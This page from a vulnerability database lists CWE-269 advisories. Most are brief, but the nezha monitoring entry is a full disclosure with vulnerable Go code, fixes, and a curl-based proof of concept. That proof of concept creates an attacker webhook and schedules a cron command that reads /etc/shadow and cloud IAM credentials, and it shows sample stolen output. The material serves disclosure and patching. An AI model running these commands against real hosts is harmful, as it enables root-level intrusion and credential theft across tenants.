CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
5671 vulnerabilities reference this CWE, most recent first.
GHSA-9983-GJWX-G47W
Vulnerability from github – Published: 2021-12-09 00:00 – Updated: 2022-07-13 00:01A privilege escalation vulnerability in FortiNAC versions 8.8.8 and below and 9.1.2 and below may allow an admin user to escalate the privileges to root via the sudo command.
{
"affected": [],
"aliases": [
"CVE-2021-41021"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-08T18:15:00Z",
"severity": "HIGH"
},
"details": "A privilege escalation vulnerability in FortiNAC versions 8.8.8 and below and 9.1.2 and below may allow an admin user to escalate the privileges to root via the sudo command.",
"id": "GHSA-9983-gjwx-g47w",
"modified": "2022-07-13T00:01:41Z",
"published": "2021-12-09T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41021"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-182"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9997-3397-VJ9G
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2022-05-24 17:17In navigateUpToLocked of ActivityStack.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-8.0 Android-8.1 Android-9Android ID: A-144285917
{
"affected": [],
"aliases": [
"CVE-2020-0098"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-14T21:15:00Z",
"severity": "MODERATE"
},
"details": "In navigateUpToLocked of ActivityStack.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-8.0 Android-8.1 Android-9Android ID: A-144285917",
"id": "GHSA-9997-3397-vj9g",
"modified": "2022-05-24T17:17:52Z",
"published": "2022-05-24T17:17:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0098"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2020-05-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-99G5-MWJ2-6XJQ
Vulnerability from github – Published: 2026-04-22 03:31 – Updated: 2026-04-22 15:31In order to apply a particular protection key to an address range, the kernel must update the corresponding page table entries. The subroutine which handled this failed to take into account the presence of 1GB largepage mappings created using the shm_create_largepage(3) interface. In particular, it would always treat a page directory page entry as pointing to another page table page.
The bug can be abused by an unprivileged user to cause pmap_pkru_update_range() to treat userspace memory as a page table page, and thus overwrite memory to which the application would otherwise not have access.
{
"affected": [],
"aliases": [
"CVE-2026-6386"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T03:16:01Z",
"severity": "MODERATE"
},
"details": "In order to apply a particular protection key to an address range, the kernel must update the corresponding page table entries. The subroutine which handled this failed to take into account the presence of 1GB largepage mappings created using the shm_create_largepage(3) interface. In particular, it would always treat a page directory page entry as pointing to another page table page.\n\nThe bug can be abused by an unprivileged user to cause pmap_pkru_update_range() to treat userspace memory as a page table page, and thus overwrite memory to which the application would otherwise not have access.",
"id": "GHSA-99g5-mwj2-6xjq",
"modified": "2026-04-22T15:31:39Z",
"published": "2026-04-22T03:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6386"
},
{
"type": "WEB",
"url": "https://security.freebsd.org/advisories/FreeBSD-SA-26:11.amd64.asc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99GV-2M7H-3HH9
Vulnerability from github – Published: 2026-05-23 00:17 – Updated: 2026-06-26 21:28Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The cron routes POST /api/v1/cron and PATCH /api/v1/cron/:id are wired through commonHandler (any authenticated user) rather than adminHandler, and the per-server permission check on cron creation has a vacuous-true bypass.
A RoleMember user can create a scheduled cron task with Cover=CronCoverAll, Servers=[] and an arbitrary Command. At every tick of the scheduler, the dashboard pushes that command to every server in the global ServerShared map — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.
Net effect: any RoleMember (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
The auth gate
// cmd/dashboard/controller/controller.go:131-135
auth.GET("/cron", listHandler(listCron))
auth.POST("/cron", commonHandler(createCron)) // <-- commonHandler, not adminHandler
auth.PATCH("/cron/:id", commonHandler(updateCron)) // <-- ditto
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron))
Compare with /user (adminHandler-gated). commonHandler (controller.go:214-218) only requires JWT auth — any role passes.
The vacuous-true permission bypass
// cmd/dashboard/controller/cron.go:45-85
func createCron(c *gin.Context) (uint64, error) {
var cf model.CronForm
var cr model.Cron
if err := c.ShouldBindJSON(&cf); err != nil { return 0, err }
// BUG: empty cf.Servers iterates zero items, returns true vacuously.
if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {
return 0, singleton.Localizer.ErrorT("permission denied")
}
cr.UserID = getUid(c)
cr.TaskType = cf.TaskType
cr.Name = cf.Name
cr.Scheduler = cf.Scheduler
cr.Command = cf.Command // <-- attacker-controlled shell
cr.Servers = cf.Servers // <-- empty []
cr.PushSuccessful = cf.PushSuccessful
cr.NotificationGroupID = cf.NotificationGroupID
cr.Cover = cf.Cover // <-- CronCoverAll = 1
if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger {
return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms")
}
var err error
if cf.TaskType == model.CronTypeCronTask {
if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil {
return 0, err
}
}
if err = singleton.DB.Create(&cr).Error; err != nil {
return 0, newGormError("%v", err)
}
singleton.CronShared.Update(&cr)
return cr.ID, nil
}
ServerShared.CheckPermission (singleton.go:249-261) iterates idList; with cf.Servers == [], the for-range runs zero times and returns true. So a member can submit a cron with Servers=[] and skip the permission check entirely.
The cross-tenant fanout sink
// service/singleton/crontask.go:133-181
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
crIgnoreMap := make(map[uint64]bool)
for _, server := range cr.Servers {
crIgnoreMap[server] = true
}
return func() {
if cr.Cover == model.CronCoverAlertTrigger {
// ... (alert-only path; not used here)
return
}
// BUG: iterates EVERY server in global state, no per-server permission check.
for _, s := range ServerShared.Range {
if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {
continue // skip ignored
}
if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] {
continue
}
if s.TaskStream != nil {
s.TaskStream.Send(&pb.Task{
Id: cr.ID,
Data: cr.Command, // <-- shell command, run as agent UID (often root)
Type: model.TaskTypeCommand,
})
}
}
}
}
Compare with the service-task path, which DOES gate per-server (canSendTaskToServer at cmd/dashboard/rpc/rpc.go:179-190 enforces task.UserID == server.UserID || taskOwnerIsAdmin). The cron path skips that check entirely.
The output-exfil channel
// service/rpc/nezha.go:56-76
case model.TaskTypeCommand:
cr, _ := singleton.CronShared.Get(result.GetId())
if cr != nil {
var curServer model.Server
copier.Copy(&curServer, server)
if cr.PushSuccessful && result.GetSuccessful() {
singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"),
cr.Name, server.Name, result.GetData()), "", &curServer)
}
if !result.GetSuccessful() {
singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"),
cr.Name, server.Name, result.GetData()), "", &curServer)
}
}
result.GetData() is the agent's stdout/stderr. With cr.PushSuccessful = true set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via POST /api/v1/notification) and Groups (POST /api/v1/notification-group), and these are owned by the member — NotificationShared.CheckPermission passes. So the attacker creates a member-owned webhook pointing at https://attacker.example.com/exfil, then references it in the cron.
End-to-end PoC
Pre-conditions: attacker has RoleMember credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.
Step 0: Get JWT (standard login).
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"username":"member","password":"hunter2"}' \
http://nezha.example.com/api/v1/login | jq -r .token)
Step 1: Create a webhook notification + group owned by the member, pointing at attacker server.
NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \
http://nezha.example.com/api/v1/notification | jq -r .data)
GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"g\",\"notifications\":[$NID]}" \
http://nezha.example.com/api/v1/notification-group | jq -r .data)
Step 2: Create the cross-tenant cron.
curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
http://nezha.example.com/api/v1/cron
Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>:
[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token
(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)
Reachability — additional notes
- Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via
singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses
sudo systemctl. - The attack works whether
Cover=CronCoverAll(deny-list, empty) orCover=CronCoverIgnoreAll(allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step).Cover=CronCoverAll, Servers=[]is the simplest payload.
Suggested fix
- Switch
/cronwrites toadminHandler. Same fix as the/userand/settingroutes already use.
go
auth.POST("/cron", adminHandler(createCron))
auth.PATCH("/cron/:id", adminHandler(updateCron))
auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron))
- Per-server permission gate in
CronTrigger. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent ofcanSendTaskToServer(task, server)(already used inservice/rpc/rpc.go:179-190for service tasks) before eachs.TaskStream.Send():
go
for _, s := range ServerShared.Range {
if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {
continue
}
// ... existing send logic
}
- Reject empty
ServersforCover=CronCoverAll. A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:
go
if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {
return 0, errors.New("a cover-all cron must explicitly list at least one ignored server")
}
- Optional: forbid
cf.PushSuccessful=truefor non-admin to slow down the output-exfil step.
Severity
- CVSS 3.1: Critical —
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H≈ 9.0. - PR:L because attacker needs
RoleMember(admin-issued, or OAuth2 auto-bind). - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).
- C/I/A:H because RCE-as-root is the primary impact.
- Auth: authenticated
RoleMember(Role == 1). - CWE: CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).
Reproduction environment
- Tested against:
nezhahq/nezhamaster @50dc8e660326b9f22990898142c58b7a5312b42a. - Code locations:
- Auth gate:
cmd/dashboard/controller/controller.go:131-135(commonHandler), 214-236 (handler defs) - Bypass:
cmd/dashboard/controller/cron.go:53-55(vacuous-trueCheckPermissionon emptycf.Servers) - Sink:
service/singleton/crontask.go:133-181(CronTriggeriterates all servers) - Output exfil:
service/rpc/nezha.go:56-76 - Comparison (correct gating):
cmd/dashboard/rpc/rpc.go:179-190(canSendTaskToServerfor service tasks)
Reporter
Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's SECURITY.md mentions email hi@nai.ba; happy to follow up there if the maintainer prefers email coordination.
This is a follow-up to the same auth-bypass class as GHSA-w4g9-mxgg-j532 (NEZHA-001 — /notification SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.
Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)
Filing channel issue: nezhahq/agent has private vulnerability reporting disabled (verified via GET /repos/nezhahq/agent/private-vulnerability-reporting), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.
Summary. The dashboard→agent control channel uses plaintext gRPC by default. agentConfig.TLS zero-value is false; the install script's [y/N] prompt defaults to false. AuthHandler.RequireTransportSecurity() returns false. An on-path attacker on the dashboard↔agent network path captures client_secret+client_uuid, terminates the agent's TCP connection, and injects a CommandTask over plaintext gRPC. The agent runs the task via sh -c <attacker-string> as the systemd-installed UID (typically root).
Adjacent-network attack vector (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).
Why filable. This completes the threat model for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.
Severity: High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.
Suggested fix.
1. Make TLS the install-script default ([Y/n]) instead of [y/N].
2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.
3. Add AuthHandler.RequireTransportSecurity() returning true unconditionally.
4. Document this as a must-enable in the agent install README.
Disclosure draft is on file in the moneyhunter campaign workspace under findings/NEZHA-AGENT-001-DISCLOSURE.md and findings/NEZHA-AGENT-001.yaml — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on nezhahq/agent).
— Eddie Ran
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.14.15-0.20260517022419-d7526351cf97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46716"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-23T00:17:58Z",
"nvd_published_at": "2026-06-12T22:16:50Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`nezha`\u0027s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass.\n\nA `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** \u2014 including servers that belong to other tenants (admin\u0027s servers, other members\u0027 servers). Each agent runs the command and returns the output, which is then sent to the attacker\u0027s own NotificationGroup \u2192 attacker-controlled webhook.\n\nNet effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## The auth gate\n\n```go\n// cmd/dashboard/controller/controller.go:131-135\nauth.GET(\"/cron\", listHandler(listCron))\nauth.POST(\"/cron\", commonHandler(createCron)) // \u003c-- commonHandler, not adminHandler\nauth.PATCH(\"/cron/:id\", commonHandler(updateCron)) // \u003c-- ditto\nauth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))\nauth.POST(\"/batch-delete/cron\", commonHandler(batchDeleteCron))\n```\n\nCompare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth \u2014 any role passes.\n\n## The vacuous-true permission bypass\n\n```go\n// cmd/dashboard/controller/cron.go:45-85\nfunc createCron(c *gin.Context) (uint64, error) {\n var cf model.CronForm\n var cr model.Cron\n if err := c.ShouldBindJSON(\u0026cf); err != nil { return 0, err }\n\n // BUG: empty cf.Servers iterates zero items, returns true vacuously.\n if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {\n return 0, singleton.Localizer.ErrorT(\"permission denied\")\n }\n\n cr.UserID = getUid(c)\n cr.TaskType = cf.TaskType\n cr.Name = cf.Name\n cr.Scheduler = cf.Scheduler\n cr.Command = cf.Command // \u003c-- attacker-controlled shell\n cr.Servers = cf.Servers // \u003c-- empty []\n cr.PushSuccessful = cf.PushSuccessful\n cr.NotificationGroupID = cf.NotificationGroupID\n cr.Cover = cf.Cover // \u003c-- CronCoverAll = 1\n\n if cr.TaskType == model.CronTypeCronTask \u0026\u0026 cr.Cover == model.CronCoverAlertTrigger {\n return 0, singleton.Localizer.ErrorT(\"scheduled tasks cannot be triggered by alarms\")\n }\n\n var err error\n if cf.TaskType == model.CronTypeCronTask {\n if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(\u0026cr)); err != nil {\n return 0, err\n }\n }\n\n if err = singleton.DB.Create(\u0026cr).Error; err != nil {\n return 0, newGormError(\"%v\", err)\n }\n\n singleton.CronShared.Update(\u0026cr)\n return cr.ID, nil\n}\n```\n\n`ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with `cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely.\n\n## The cross-tenant fanout sink\n\n```go\n// service/singleton/crontask.go:133-181\nfunc CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {\n crIgnoreMap := make(map[uint64]bool)\n for _, server := range cr.Servers {\n crIgnoreMap[server] = true\n }\n return func() {\n if cr.Cover == model.CronCoverAlertTrigger {\n // ... (alert-only path; not used here)\n return\n }\n\n // BUG: iterates EVERY server in global state, no per-server permission check.\n for _, s := range ServerShared.Range {\n if cr.Cover == model.CronCoverAll \u0026\u0026 crIgnoreMap[s.ID] {\n continue // skip ignored\n }\n if cr.Cover == model.CronCoverIgnoreAll \u0026\u0026 !crIgnoreMap[s.ID] {\n continue\n }\n if s.TaskStream != nil {\n s.TaskStream.Send(\u0026pb.Task{\n Id: cr.ID,\n Data: cr.Command, // \u003c-- shell command, run as agent UID (often root)\n Type: model.TaskTypeCommand,\n })\n }\n }\n }\n}\n```\n\nCompare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely.\n\n## The output-exfil channel\n\n```go\n// service/rpc/nezha.go:56-76\ncase model.TaskTypeCommand:\n cr, _ := singleton.CronShared.Get(result.GetId())\n if cr != nil {\n var curServer model.Server\n copier.Copy(\u0026curServer, server)\n if cr.PushSuccessful \u0026\u0026 result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Successfully\"),\n cr.Name, server.Name, result.GetData()), \"\", \u0026curServer)\n }\n if !result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Failed\"),\n cr.Name, server.Name, result.GetData()), \"\", \u0026curServer)\n }\n }\n```\n\n`result.GetData()` is the agent\u0027s stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil\u0027d to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member \u2014 `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron.\n\n## End-to-end PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.\n\nStep 0: Get JWT (standard login).\n\n```bash\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"member\",\"password\":\"hunter2\"}\u0027 \\\n http://nezha.example.com/api/v1/login | jq -r .token)\n```\n\nStep 1: Create a webhook notification + group owned by the member, pointing at attacker server.\n\n```bash\nNID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"x\",\"url\":\"https://webhook.site/\u003cattacker\u003e\",\"request_method\":2,\"request_type\":1,\"verify_tls\":false,\"skip_check\":true}\u0027 \\\n http://nezha.example.com/api/v1/notification | jq -r .data)\n\nGID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"name\\\":\\\"g\\\",\\\"notifications\\\":[$NID]}\" \\\n http://nezha.example.com/api/v1/notification-group | jq -r .data)\n```\n\nStep 2: Create the cross-tenant cron.\n\n```bash\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"name\\\":\\\"x\\\",\\\"task_type\\\":0,\\\"scheduler\\\":\\\"*/1 * * * * *\\\",\\\"command\\\":\\\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"servers\\\":[],\\\"cover\\\":1,\\\"push_successful\\\":true,\\\"notification_group_id\\\":$GID}\" \\\n http://nezha.example.com/api/v1/cron\n```\n\nStep 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker\u0027s webhook with the per-server hostname. From `c1c1cd1.../webhook.site/\u003cattacker\u003e`:\n\n```\n[Scheduled Task Executed Successfully] x, admin-prod-db-01\nuid=0(root) gid=0(root) groups=0(root)\nadmin-prod-db-01.internal\nroot:$6$KfTdXrLP$...\nASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token\n```\n\n(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)\n\n## Reachability \u2014 additional notes\n\n- Default deployment: there is no requirement that an admin even creates a member account explicitly \u2014 the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that\u0027s near-pre-auth RCE.\n- The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`.\n- The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list \u2014 but you\u0027d need server IDs you don\u0027t own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload.\n\n## Suggested fix\n\n1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use.\n\n ```go\n auth.POST(\"/cron\", adminHandler(createCron))\n auth.PATCH(\"/cron/:id\", adminHandler(updateCron))\n auth.GET(\"/cron/:id/manual\", adminHandler(manualTriggerCron))\n auth.POST(\"/batch-delete/cron\", adminHandler(batchDeleteCron))\n ```\n\n2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don\u0027t own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`:\n\n ```go\n for _, s := range ServerShared.Range {\n if cr.UserID != s.UserID \u0026\u0026 !cronOwnerIsAdmin(cr) {\n continue\n }\n // ... existing send logic\n }\n ```\n\n3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:\n\n ```go\n if cf.Cover == model.CronCoverAll \u0026\u0026 len(cf.Servers) == 0 {\n return 0, errors.New(\"a cover-all cron must explicitly list at least one ignored server\")\n }\n ```\n\n4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step.\n\n## Severity\n\n- **CVSS 3.1:** Critical \u2014 `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2248 9.0.\n - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind).\n - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).\n - C/I/A:H because RCE-as-root is the primary impact.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n- **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs)\n - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`)\n - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers)\n - Output exfil: `service/rpc/nezha.go:56-76`\n - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks)\n\n## Reporter\n\nEddie Ran. Filed via the GitHub Security Advisory reporter API. nezha\u0027s `SECURITY.md` mentions email `hi@nai.ba`; happy to follow up there if the maintainer prefers email coordination.\n\nThis is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 \u2014 `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.\n\n---\n\n## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)\n\nFiling channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.\n\n**Summary.** The dashboard\u2192agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script\u0027s `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard\u2194agent network path captures `client_secret`+`client_uuid`, terminates the agent\u0027s TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c \u003cattacker-string\u003e` as the systemd-installed UID (typically root).\n\n**Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).\n\n**Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) \u2014 those findings all implicitly assume a trusted dashboard\u2192agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.\n\n**Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.\n\n**Suggested fix.**\n1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`.\n2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard\u0027s published key on first connect; refuse plaintext.\n3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally.\n4. Document this as a **must-enable** in the agent install README.\n\nDisclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` \u2014 happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`).\n\n\u2014 Eddie Ran",
"id": "GHSA-99gv-2m7h-3hh9",
"modified": "2026-06-26T21:28:22Z",
"published": "2026-05-23T00:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46716"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron"
}
GHSA-99J6-PF9P-H77C
